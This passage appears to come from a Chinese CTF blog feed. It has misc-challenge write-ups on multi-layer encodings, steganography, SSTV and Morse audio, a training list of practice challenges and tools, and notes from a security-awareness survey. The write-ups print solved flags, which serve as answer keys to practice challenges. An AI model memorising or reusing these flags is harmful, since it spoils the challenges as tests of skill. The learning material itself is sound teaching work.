class="number">66</span> <span class="number">84</span> <span class="number">70</span> <span class="number">52</span> <span class="number">50</span> <span class="number">69</span> <span class="number">69</span> <span class="number">90</span> <span class="number">68</span> <span class="number">67</span> <span class="number">72</span> <span class="number">70</span> <span class="number">87</span> <span class="number">70</span> <span class="number">81</span> <span class="number">84</span> <span class="number">76</span> <span class="number">77</span> <span class="number">79</span> <span class="number">65</span> <span class="number">90</span> <span class="number">85</span> <span class="number">87</span> <span class="number">86</span> <span class="number">74</span> <span class="number">85</span> <span class="number">78</span> <span class="number">70</span> <span class="number">66</span> <span class="number">68</span> <span class="number">83</span> <span class="number">84</span> <span class="number">83</span> <span class="number">76</span> <span class="number">77</span> <span class="number">78</span> <span class="number">74</span> <span class="number">88</span> <span class="number">65</span> <span class="number">84</span> <span class="number">66</span> <span class="number">87</span> <span class="number">75</span> <span class="number">73</span> <span class="number">51</span> <span class="number">70</span> <span class="number">81</span> <span class="number">89</span> <span class="number">90</span> <span class="number">82</span> <span class="number">71</span> <span class="number">90</span> <span class="number">88</span> <span class="number">71</span> <span class="number">87</span> <span class="number">79</span> <span class="number">68</span> <span class="number">67</span> <span class="number">71</span> <span class="number">78</span> <span class="number">68</span> <span class="number">84</span> <span class="number">83</span> <span class="number">78</span> <span class="number">90</span> <span class="number">82</span> <span class="number">75</span> <span class="number">90</span> <span class="number">74</span> <span class="number">68</span> <span class="number">81</span> <span class="number">90</span> <span class="number">67</span> <span class="number">78</span> <span class="number">71</span> <span class="number">86</span> <span class="number">75</span> <span class="number">87</span> <span class="number">73</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">71</span> <span class="number">86</span> <span class="number">86</span> <span class="number">72</span> <span class="number">75</span> <span class="number">77</span> <span class="number">75</span> <span class="number">78</span> <span class="number">74</span> <span class="number">81</span> <span class="number">51</span> <span class="number">86</span> <span class="number">67</span> <span class="number">78</span> <span class="number">50</span> <span class="number">78</span> <span class="number">74</span> <span class="number">69</span> <span class="number">51</span> <span class="number">87</span> <span class="number">71</span> <span class="number">90</span> <span class="number">66</span> <span class="number">87</span> <span class="number">79</span> <span class="number">78</span> <span class="number">88</span> <span class="number">84</span> <span class="number">67</span> <span class="number">52</span> <span class="number">82</span> <span class="number">86</span> <span class="number">78</span> <span class="number">77</span> <span class="number">52</span> <span class="number">85</span> <span class="number">75</span> <span class="number">89</span> <span class="number">76</span> <span class="number">66</span> <span class="number">78</span> <span class="number">74</span> <span class="number">69</span> <span class="number">84</span> <span class="number">75</span> <span class="number">76</span> <span class="number">90</span> <span class="number">82</span> <span class="number">79</span> <span class="number">82</span> <span class="number">74</span> <span class="number">70</span> <span class="number">85</span> <span class="number">50</span> <span class="number">84</span> <span class="number">67</span> <span class="number">71</span> <span class="number">78</span> <span class="number">77</span> <span class="number">84</span> <span class="number">83</span> <span class="number">89</span> <span class="number">82</span> <span class="number">86</span> <span class="number">79</span> <span class="number">52</span> <span class="number">89</span> <span class="number">85</span> <span class="number">75</span> <span class="number">79</span> <span class="number">76</span> <span class="number">7</span></span><br></pre></td></tr></table></figure><p>全是数字,而且都大于65,很有可能又是用ascii码解码,再上面的脚本后加上一段:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">total_str_pro = total_str.split(<span class="string">' '</span>)</span><br><span class="line">final_str = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> total_str_pro:</span><br><span class="line"> final_str += <span class="built_in">chr</span>(<span class="built_in">int</span>(i))</span><br><span class="line"><span class="built_in">print</span>(final_str)</span><br></pre></td></tr></table></figure><p>得到结果:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">JRFTC5SFG5SU4STVHBTTCR2SKVSE2NKVIUYFCS2MOVFUWMLLGVKWITKLJZSE2NKVMRFUWY3EJU3VKZCNGVKU2SKQMNXE2WCVMRGTKVKNMM2XMRKLGE2US5SEOFWTMRDRNZVTO5LNGZCGYWDVOVYUG5KYKVWTMRDRMRBG4ZDNGZJE4TLWIRYWITJVOVWTMUSOMRGXK4LONM2VK3JWIRWGITJVMRWTMUSVJV3FEVLEJU2XKZCCNZKWITJVJZSE2NKVNZVTOVLEJU2VCWDVGVKUKTLEOFWTMRDMMRGTKVKYOU3XIRJWKJKGITJVKVSGEODQNJ2UWWCLGB2WWTDCOU3EWQRQJRCXKWDFMRBDINLJGVXEUSRPMFEUW5TYOFFEEWCTORGVQSBRNNJHKS2HKRDXIVSSOVEXE5JWNJGWCWCLIJIXATBXNZVUYQRROVIVMMDNORFWKR2JOJFU2S2JGBLEKTKQOFGU4UKGJN2FEUCNKY2EQQKOKVFU2TJVLBXESS3NMQXVMNZZKY2UQTJPMVSU2S2RINUXKMLVKFCW64KLJMZXO2JVJNEGI6JQO5GDKVJWOQ3TAMSLJVFFU2SNGAYW4Y2YMFGWWUSINJ2WY53EGA4WYTJWHB4GSZ2LJI4WENDWJQ3TKTBTG5LE45DHJNSUULZVOBFFMMJSJN2U2NSRM4YTSOKWMEZEYN3BOQ4UKZLDNFGVQ4SNJNIUUOJXNZ3FC23OOJFXONLZKFETQMTOI43VGSKNKBKTCVSQINUWENCLGFDWCYTJJU2GISLHGR3TG4SRIMZUES2YNZDTAMDUJUYEKTJQGV4ES6JRNVFWGMCUJI3XKN2NKZ4E45CHGB2DGYTBKFMHS33XIVHGK6KFO4YTCQ2CGRZG4VSYIFIWE6DXINZEW4BTI5QUC2LSG5LESVTOIF2E4YKTGM3TIVCKMIYTE3KHJMXXIY3PI52EK3TVNFZEWYKNO5LGW2SCKZYEK5ZUNQZXKODXLBCW4MJRKZFVAZCLKM3DSYRYKBXE4NCIJJVTE4KFKZITA2KJMR3UWQRUMFUWENDWJJHFCNDNNNJFGMZXMEXXIYTBKBIU2ZJPJIXVCSKYOI2HU5DHKM3USRJZOFGS642OGFDVQU3JGAYUW2TXGRAUS5KEKBXE2222JRTTG4BRIU2TMOKNGJ3UCTRVIZVESWCNNZRUWVSLJU2EM5COJM3VC5ZRMRXDA3ZXNFCTKWCKJZIWMMLDGREWUQTPJZUXSMBXNFTVQSCLIIZVI2TCNRIEK22LGZEWEUTMJU2WCZJZJV4FU2SJMVDFQVRXGFFGWUBYJJZG46CYGUYHSWBPGU4EWYRQJFVGEMLLNVVTS4KNOQ4DKSSHLAYDGRJVNBFUSNKFNZHDI2CFOU3U2M2NMFWUGSKSMFMGWN2WGM3TAOBTF42EEZDCHFWFQTLMOAZUWVJUNFBDSTSLMNJXATBWKI3FQYZRGZXGWODCGNDTSNZRKZJDQZCNGVKWITJVGVVHKMKNJQ3VCN2NJE3WGZBWONXTC4RVNM4UKYLBNJETKLZRORJFU2TCGNMTSYRVO4YUKOL</span><br></pre></td></tr></table></figure><p>只有大写字母和数字,很像base32解码,拿到cyberchef里面用base32解码后不能继续解码了。前面还有一个信息没有使用,仔细观察发现有小写字母和大写字母和+/,很有可能是base64换表的表:</p><blockquote><p>sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W</p></blockquote><p>然后丢进cyberchef得到一段乱码,但是发现开头有PNG和IHDR部分,推测是png图片<br /><img src="https://i.imgs.ovh/2023/10/16/rSYKv.png" alt="rSYKv.png" /><br />然后cyberchef就自己帮我转成png了,真是方便<br /><img src="https://i.imgs.ovh/2023/10/16/rS5lW.png" alt="rS5lW.png" /></p><p>观察发现这是那个十分抽象的抽象画语言npiet,然后在官方网站解码得到flag:<br /><img src="https://i.imgs.ovh/2023/10/16/rSE09.png" alt="rSE09.png" /></p><blockquote><p>flag{4b6c1737-27e5-41c4-95e3-f70ad196063e}</p></blockquote><p><em>(真抽象啊)</em></p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_BUUCTF</title>
<link href="/2023/10/14/About-BUUCTF/"/>
<url>/2023/10/14/About-BUUCTF/</url>
<content type="html"><![CDATA[<h1 id="开打">开打!</h1><hr /><h1 id="test_your_nc">test_your_nc</h1><p>nc即可,没有难度</p><h1 id="rip">rip</h1>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_ISEC2023</title>
<link href="/2023/10/11/About-ISEC2023/"/>
<url>/2023/10/11/About-ISEC2023/</url>
<content type="html"><![CDATA[<h1 id="misc">Misc</h1><h2 id="签到题">签到题</h2><p>打开txt发现一篇空白,本着misc手的直觉按下ctrl+a,果然发现有空白符,然后立马使用white space和snow隐写发现没用,拖到word里面发现全是空格,猜测和每一行空格的数量有关。前两排空格的数量用ascii解码得到<strong>fl</strong>,更加印证了我的观点,于是编写解码脚本:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">spaces = [' ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ','\</span><br><span class="line"> ']</span><br><span class="line">for i in spaces:</span><br><span class="line"> amt = i.count(' ')</span><br><span class="line"> print(chr(amt),end = '')</span><br></pre></td></tr></table></figure><p>运行得到flag:</p><blockquote><p>flag{ISEC-eF8x2Bv1viw9eFvagivx0Ynv3jlai0vL}</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>For_news_in_6th_week</title>
<link href="/2023/10/08/For-news-in-6th-week/"/>
<url>/2023/10/08/For-news-in-6th-week/</url>
<content type="html"><![CDATA[<h1 id="2023-秋季学期-六周集训-misc方向">2023 秋季学期 六周集训 Misc方向</h1><p><code>by 高鹏鸿、密语</code></p><p>写在前面,<strong>记录和交流</strong>是一个很好的习惯,建议可以自己先<strong>搭建一个博客</strong>用于存储自己的做题记录以及方便交流。还有,对于Misc方向,灵活应对十分重要,一定要善用<strong>搜索引擎</strong>。</p><blockquote><p>还有一点,给大家做的题有些能在网络上搜索到,大家实在实在坐牢很久了再去搜索</p></blockquote><h2 id="工具">工具</h2><ul><li><p><a href="https://www.google.com/">搜索引擎</a> <em>新手必学</em></p></li><li><p><a href="https://www.linuxprobe.com/chapter-00.html">LinuxProbe</a> <em>Linux学习</em></p></li><li><p><a href="https://www.cnblogs.com/hellogmy/p/17253041.html">VMware</a> <em>虚拟机平台,建议在VMware里安装一个<strong>kali</strong>系统,里面有许多预装工具</em></p><ul><li><a href="https://blog.csdn.net/john_david_/article/details/87273698">binwalk</a> <em>固件映像提取</em></li><li><a href="https://blog.csdn.net/Sc0fie1d/article/details/101602492">foremost</a> <em>图片文件分离</em></li><li><a href="https://www.cnblogs.com/pcat/p/12624953.html">zsteg</a> <em>自动化图片分析工具</em></li></ul></li><li><p><a href="https://www.52pojie.cn/thread-1284823-1-1.html">010editor</a>(或者<a href="https://www.52pojie.cn/thread-1252078-1-1.html">winhex</a>) <em>十六进制编辑器和磁盘编辑器</em></p></li><li><p><a href="https://blog.csdn.net/weixin_46175844/article/details/105395988">Stegsolve</a> <em>图片隐写解析器</em></p></li><li><p><a href="https://github.com/fire-keeper/BlindWatermark">BlindWatermark</a> <em>盲水印分析</em></p></li><li><p><a href="https://www.audacityteam.org/">Audacity</a> <em>音频分析</em></p></li><li><p><a href="https://www.wireshark.org/">Wireshark</a> <em>流量分析</em></p></li><li><p><a href="https://achorein.github.io/silenteye/">silenteyes</a> <em>图片隐写工具</em></p></li><li><p><a href="https://blog.csdn.net/qq_51999772/article/details/122418926">white_space&snow</a> <em>文本隐写工具</em></p></li><li><p><a href="https://www.qsl.net/on6mu/rxsstv.htm">RX-SSTV</a> <em>慢扫描电视</em></p></li><li><p><a href="https://cyberchef.org/">Cyberchef</a> <em>各种编解码</em></p></li><li><p><a href="https://www.52pojie.cn/thread-1691394-1-1.html">Advanced Archive Password Recovery</a> <em>压缩包密码爆破</em></p></li><li><p><a href="https://sourceforge.net/projects/easypythondecompiler/">Easy Python Decompiler</a> <em>简单python反编译</em></p></li><li><p><a href="https://blog.csdn.net/Amherstieae/article/details/106155826">steghide</a> <em>图片音频隐写工具</em></p></li><li><p><a href="https://blog.csdn.net/xuqi7/article/details/120389212">CRC32爆破</a> <em>crc校验值爆破</em></p></li><li><p><a href="https://www.guballa.de/vigenere-solver">Vigenère Solver</a> <em>维吉尼亚密码爆破</em></p></li><li><p><a href="https://blog.csdn.net/MarkRao/article/details/121796707">npiet</a> <em>一种奇怪的编码方式</em></p></li></ul><p><strong>等等等等,会逐渐遇到的</strong></p><hr /><h2 id="练习题目列表">练习题目列表:</h2><blockquote><p>所有原创题的flag请私聊出题人验证正确性。<br />出题人QQ:<strong>2861126078/2838108306</strong></p></blockquote><h3 id="图片隐写">图片隐写:</h3><ul><li><p><a href="https://buuoj.cn/challenges#%E5%A4%A7%E7%99%BD">BUUCTF-大白</a></p></li><li><p><a href="https://buuoj.cn/challenges#LSB">BUUCTF-LSB</a></p></li></ul><h3 id="编码">编码:</h3><ul><li><p><a href="https://adworld.xctf.org.cn/media/file/task/efde93dc-766e-4897-a36b-7c4d3aa76601.rar">攻防世界-看雪看雪看雪</a></p></li><li><p><a href="https://adworld.xctf.org.cn/media/file/task/b8da3211-2dcc-4464-bfcc-e09a935b095a.zip">攻防世界-来自银河的信号</a></p></li><li><p>原创:<strong>Base套娃</strong></p></li></ul><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">29445165525B46314C2536455E614D6E3455404A3F5B623B51265244384473547B252F67245F4E706853326A60777969444D4F3060304E4E73342142695A7E573A375D67545B566451386C634D44236546643F2F4E6B294D59555E347E777D71236F553D646F38532F21312F6E4F586948756466752950483E4C4031312E2C667429293359374F366B323A573F6D42584E67693B382E4A4E314E4D3B3A785E7036214D334F773C47394F6966384458634063672F57304E76444D455D265B4F61786C4766782B676B5E246A3F335045533769634B663E5D6923237D54216C2E53794A667848313D703C4955332F3835642E7A3230743D623126543D506B44</span><br></pre></td></tr></table></figure><p>hint: <code>Basecracker</code></p><p>flag格式为:<code>flag{}</code></p><ul><li>原创:<strong>ROT同学的新围墙</strong></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sn{01&sarnr1gef1t*}ytEg3&rP_e_arrga*!</span><br></pre></td></tr></table></figure><p>flag格式为:<code>flag{}</code></p><h3 id="音频隐写">音频隐写:</h3><ul><li>原创:<strong>这个音频里到底藏了什么呢</strong><br />附件链接:<a href="https://pan.baidu.com/s/1Kuv-8B_qwo07IYHjFYTS9Q">https://pan.baidu.com/s/1Kuv-8B_qwo07IYHjFYTS9Q</a><br />提取码:y1vc</li></ul><h3 id="流量分析">流量分析:</h3><ul><li><p><a href="https://adworld.xctf.org.cn/media/file/task/9c7e4c0a-15bb-4796-aac7-62a1c6c09cd6.zip">攻防世界-流量分析2</a></p></li><li><p><a href="https://buuoj.cn/challenges#wireshark">BUUCTF-Wireshark</a></p></li><li><p><a href="https://buuoj.cn/challenges#USB">BUUCTF-USB</a></p></li></ul><h3 id="文件附加">文件附加:</h3><ul><li><p>原创:<strong>真的只是一张图片</strong></p><p>链接:<a href="https://pan.baidu.com/s/18KM1-Jyl1Pxdf-lzuTuU1A?pwd=vjcj">https://pan.baidu.com/s/18KM1-Jyl1Pxdf-lzuTuU1A?pwd=vjcj</a><br />提取码:vjcj</p></li><li><p>原创:<strong>又红又专</strong></p><p>链接:<a href="https://pan.baidu.com/s/1x8FEszADMY_cIFOppyuYqQ?pwd=b7mj">https://pan.baidu.com/s/1x8FEszADMY_cIFOppyuYqQ?pwd=b7mj</a><br />提取码:b7mj</p></li></ul><h3 id="python反编译">Python反编译</h3><ul><li><a href="https://adworld.xctf.org.cn/media/file/task/e4453dcdab2b4e50a83b7aef231e8650.pyc">攻防世界-test.pyc</a></li></ul><h3 id="crc爆破">CRC爆破</h3><ul><li><p>原创:<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mi>u</mi><mi>c</mi><mi>k</mi><mi>C</mi><mi>R</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">FuckCRC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal">u</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></p><blockquote><p>题目描述:我在哪里呢?flag格式为flag{X_X_X_X},内容为我所在小区的名字,一个X一个字</p></blockquote><p>链接:<a href="https://pan.baidu.com/s/1Ee1jJa9tZYPQoY5PLoMUqg?pwd=hash">https://pan.baidu.com/s/1Ee1jJa9tZYPQoY5PLoMUqg?pwd=hash</a><br />提取码:hash</p></li></ul>]]></content>
<tags>
<tag> ctf </tag>
<tag> misc </tag>
</tags>
</entry>
<entry>
<title>HCTF2023</title>
<link href="/2023/09/20/HCTF2023/"/>
<url>/2023/09/20/HCTF2023/</url>
<content type="html"><![CDATA[<h1 id="misc">Misc</h1><h2 id="玩原神玩的">玩原神玩的</h2><p>打开是一张图片:<br /><img src="https://s2.loli.net/2023/09/20/sQe1gNW5PIqDMrv.png" alt="玩原神玩的.png" /><br />有了之前什么魔女花园的经验,这个一看就是原神里的文字,找到对照表:<br /><img src="https://s2.loli.net/2023/09/20/gyEfRNosWYzI1Fh.webp" alt="5fb77fc066e4b3147dec2fbba6a314d4b8f93b1a.png@!web-article-pic.webp" /><br />开始翻译,但是在翻译几个字后发现不对劲的地方:</p><blockquote><p>you are right, but</p></blockquote><p>这个标准开头,“你说的对,但是···”,看来不用看了,直接看到最后发现大括号,然后翻译得到flag</p><blockquote><p>ps:由于wp是后写的,懒得再去翻译了</p></blockquote><hr /><h1 id="crypto">Crypto</h1><hr /><h1 id="pwn">Pwn</h1><hr /><h1 id="web">Web</h1><hr /><h1 id="reverse">Reverse</h1>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>wmctf2023</title>
<link href="/2023/08/06/wmctf2023/"/>
<url>/2023/08/06/wmctf2023/</url>
<content type="html"><![CDATA[<p>To do</p><p>鸽了</p>]]></content>
</entry>
<entry>
<title>For_2023s</title>
<link href="/2023/08/06/For-2023s/"/>
<url>/2023/08/06/For-2023s/</url>
<content type="html"><![CDATA[<h1 id="misc介绍">MISC介绍</h1><p>首先,MISC是一个非常杂的方向,主要考验你的知识面的广度,搜索能力和对工具的使用,很灵活,这里介绍一些最基础的MISC题。</p><h2 id="图片隐写">图片隐写</h2><h3 id="stegsolve的使用之lsb隐写">stegsolve的使用之LSB隐写</h3><p><a href="https://buuoj.cn/challenges#LSB">BUUCTF</a><br />下载下来是一张图片:<br /><img src="https://s2.loli.net/2023/08/09/DEOvGlNFj92qQKm.png" alt="flag11.png" /><br />在red 0,green 0,blue 0 发现有东西:<br /><img src="https://s2.loli.net/2023/08/09/KequNgkW1Ibv47V.png" alt="RU_M5O_J622SPE7QBJ_FEC4.png" /><br /><img src="https://s2.loli.net/2023/08/09/8icXz1rIAYE3CTN.png" alt="NWRXX_9__1SKGCI_I6TY40M.png" /><br /><img src="https://s2.loli.net/2023/08/09/tfYVqlIxWBGLc1X.png" alt="~~Y@__TSJGB3_M_SD`JBUKI.png" /></p><p>然后就选择这些通道来查看:</p><p><img src="https://s2.loli.net/2023/08/09/eSPUTfvwa38dlHQ.png" alt="9_T_K_0L_JK_T3C0__PFIA9.png" /></p><p>发现了png文件的文件头:</p><p><img src="https://s2.loli.net/2023/08/09/XPN3d1Iw5jrMZa2.png" alt="3_K_HIK@KX`94YHU.png" /></p><p>导出为png文件:</p><p><img src="https://img-blog.csdnimg.cn/20200831101844870.png#pic_center" alt="二维码" /></p><p>扫描得到flag:</p><blockquote><p>cumtctf{1sb_i4_s0_Ea4y}</p></blockquote><hr /><h2 id="音频隐写">音频隐写</h2><h3 id="audacity的使用">Audacity的使用</h3><p><a href="https://adworld.xctf.org.cn/challenges/list">攻防世界</a></p><h4 id="我们生活在南京-2">我们生活在南京-2</h4><p>下载下来是一段音频,题目中提到了CW,上网搜索后发现CW是以摩斯密码传递信息的方式,于是用Audacity打开音频,调至频谱图<br /><img src="https://s2.loli.net/2023/08/09/DgdQFZGyvNHxAk3.png" alt="_51AW5SNON_TFQ47WH_AJI4.png" /><br />窄的为短码,宽的为长码,丢进解密网站解密后得到:<br /><img src="https://s2.loli.net/2023/08/09/IaX7w6vZ3EgcDBM.png" alt="TLGR5F33J4X28`~~_3P~J.png" /><br />按照题目要求稍作更改:</p><blockquote><p>flag{cwi54tr4diti0nm3th0d}</p></blockquote><hr /><h2 id="文件分离">文件分离</h2><p>展示一下</p><hr /><h2 id="编码">编码</h2><p><a href="https://cyberchef.org/">CyberChef</a><br /><a href="https://adworld.xctf.org.cn/challenges/list">攻防世界</a></p><h3 id="简单的base编码">简单的base编码</h3><hr /><h2 id="二维码">二维码</h2><h4 id="let_gods_knows">Let_Gods_knows</h4><p><a href="https://adworld.xctf.org.cn/challenges/list">攻防世界</a><br />下载下来是一张图片:<br /><img src="https://s2.loli.net/2023/08/06/XhYF15loBMxZ87p.png" alt="_IIVR_E_K7.png" /><br />在Red plane 0发现二维码<br /><img src="https://s2.loli.net/2023/08/06/tSp6gNjh5Q4OJBD.png" alt="8S_EE__UA_U~_Z1ZLP58K5V.png" /><br />扫描二维码就行了</p><blockquote><p>flag{Ok@y!G0d_know5_n0w}</p></blockquote><hr /><h2 id="知识面搜索能力">知识面(搜索能力)</h2><h3 id="sound-from-somewhere">sound from somewhere</h3><p>文件下载下来是一个音频,稍微听一听发现是<strong>SSTV</strong>,于是用相应软件解码。</p><p>电脑端有两个软件<strong>MMSSTV</strong>和<strong>RXSSTV</strong>,使用方法是打开软件,切换至虚拟声卡,然后播放音频。</p><p>但是我电脑的虚拟声卡驱动有点问题,于是用手机解码。</p><p>这里使用的软件为<strong>Robot36</strong>,可在谷歌商店下载<br /><img src="https://s2.loli.net/2023/08/09/JsbtRIyvD2noPWl.jpg" alt="reScreenshot_20230109-123326.jpg" /></p><p>得到flag</p><blockquote><p>flag{OuTer_Wilds}</p></blockquote><hr /><h2 id="脑筋急转弯">脑筋急转弯</h2><h3 id="cisn2023国粹">cisn2023:国粹</h3><p><img src="https://s2.loli.net/2023/08/09/GgNbZnsjX7RvuPw.png" alt="answer.png" /></p><hr /><p>等等······</p>]]></content>
<tags>
<tag> ctf </tag>
<tag> misc </tag>
</tags>
</entry>
<entry>
<title>iPad_with_AidLux</title>
<link href="/2023/07/03/iPad-with-AidLux/"/>
<url>/2023/07/03/iPad-with-AidLux/</url>
<content type="html"><![CDATA[<p>to do</p>]]></content>
</entry>
<entry>
<title>Shanxi23</title>
<link href="/2023/06/03/Shanxi23/"/>
<url>/2023/06/03/Shanxi23/</url>
<content type="html"><![CDATA[<h1 id="misc-管道">MISC 管道</h1><p>下载下来是一张图片,直接zsteg一把梭,得到flag<br /><img src="https://s2.loli.net/2023/06/03/FjAoThbdZYrMN8G.png" alt="8GOXKG_SEGN_8_~_C70GM.png" /></p><h1 id="misc-可是雪啊飘进双眼">MISC 可是雪啊飘进双眼</h1><p>下载下来有一个压缩包和一个文件夹,压缩包加密了,文件夹里有一段音频和一个名为snow的txt文件,根据题目雪和snow说明这是一个snow隐写,需要一个密码,很显然snow隐写的密码在那个音频里:<br /><img src="https://s2.loli.net/2023/06/03/lw2ye9AsFqIfRtp.png" alt="6OJTR@NTT7MP4YIMPC_W_ZV.png" /><br />发现音频里有莫斯密码,解开得到:<br /><img src="https://s2.loli.net/2023/06/03/QgmwsjOL6lbCK1W.png" alt="QA_AD1B~0@4__QY_6Y_IS9F.png" /><br />然后用snow隐写工具解开snow文件的密文得到:<br /><img src="https://s2.loli.net/2023/06/03/FlLbv5kTnP6xDys.png" alt="IFK4D6QX79`RS_E_5E_2HVA.png" /></p><p>这就是之前那个压缩包的密码,然后解开压缩包得到两张图片,一张名为hide,一张名为key,将key图片binwalk一下得到另一张图片<br /><img src="https://s2.loli.net/2023/06/03/wfPp5u8j9XZg1zi.png" alt="WZ9__GNO_V3__3U_A6_YH2F.png" /><br />对应key这张图片得到一段字符串</p><blockquote><p>BC1PVEYD</p></blockquote><p>根据图片的名字hide可知这是steghide加密,然后用steghide加上上面的字符串为密码进行解密得到flag:<br /><img src="https://s2.loli.net/2023/06/03/D5UdQPZ8OyXxNMb.jpg" alt="__J@4@D_V~SZ6C1DGX9N0XV.jpg" /></p><h1 id="web-ezrce">WEB ezrce</h1>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>ENG_Program</title>
<link href="/2023/06/02/ENG-Program/"/>
<url>/2023/06/02/ENG-Program/</url>
<content type="html"><![CDATA[<h1 id="基本信息">基本信息</h1><blockquote><p>1.统计的主要是大学生<br />/2.男生对网络安全感兴趣的人更多<br />3.本科生<br />4.专业相关(比例)联系其他的问题,</p></blockquote><p>以大学生为主,有约40%的专业相关,约60%的专业无关</p><hr /><h1 id="基本网络安全知识">基本网络安全知识</h1><blockquote><p>5.对于钓鱼网站的辨别不够,有一定的防范意识,(未来:陌生链接不要点)<br />6.不更新和不关注的人较多,大多数人是了解是为了安全的,仍有一部分呢知法犯法<br />/7.调查问卷只有70多,说明大家的交情++<br />8.直接说(只有官方权威的消息是可信的)(/没有被爱情蒙蔽双眼)消息记录很不可信!对信息来源的鉴别不够,辨别能力<br />9.联动第五题,更说明对钓鱼网站的辨别能力不够</p></blockquote><p>通过问卷调查(列出数据),我们发现大家有一定的网络防范意识,但是对钓鱼网站的辨别不够(zhi-hu和https)。还有对于网络上消息的鉴别能力有待提升(分析图片,得出结论)只有官方权威的消息是可信的</p><hr /><h1 id="专业知识">专业知识</h1><blockquote><p>10.蒙对了,大家对专业知识的了解0.0000000<br />11.很上道<br />12.病毒就是传染(bushi)<br />13.宣传的重要性<br />14.大家还是有防范意识的(和前面放一起13)<br />15./常识,by the way大家对于问卷不是很认真<br />16.几乎没有人知道硬件级安全技术,乱选的</p></blockquote><p>可以说,大家对专业知识的了解几乎为0(10、16),但是可以看出,足够的宣传是能提高大众的网络安全意识的(11、13、14、15)</p><hr /><h1 id="密码">密码</h1><blockquote><p>17.不了解保存密码的机制,有安全意识。在方便和安全之间做选择<br />18.和15联动,明知故犯很多,意识和行动并不匹配和17合并<br />19.23.44的人明文记录密码。有很多人使用相同的密码-脑力计密码。将密码连起来<br />20.了解但是之前之前只有12用密码管理器,很多人其实不了解,接受前沿技术<br />21.绝大多数人不会主动关心安全启动和磁盘加密,懂的人才会关心<br />22.绝大多数人不知道密码算法是什么<br />23.base64说明不知道什么是密码学算法,计算机类的40知道比较传统的,混淆编码和密码</p></blockquote><p>对于密码的保存,大部分人都知道相同密码不安全,很少有人会选择使用浏览器或者密码管理软件来管理密码,但是理论上来说,只要你的电脑没被偷并且没有密码,你储存在密码管理软件里的密码都是安全的。但是同时,经常使用相同密码的人却有50%(18),同时知道浏览器怎么储存密码的人有50%(20),也就是说,有许多人认为相同密码不安全但是还是明知故犯,同时有许多自己认为了解浏览器储存密码方式的人其实并不知道。所以要多多了解新技术。还有,绝大多数人不知道什么是密码算法,会混淆密码和编码,并且有40%的人都是相关专业的,所以大家的专业知识有欠缺</p><hr /><h1 id="隐私">隐私:</h1><blockquote><p>24.大多数不知道<br 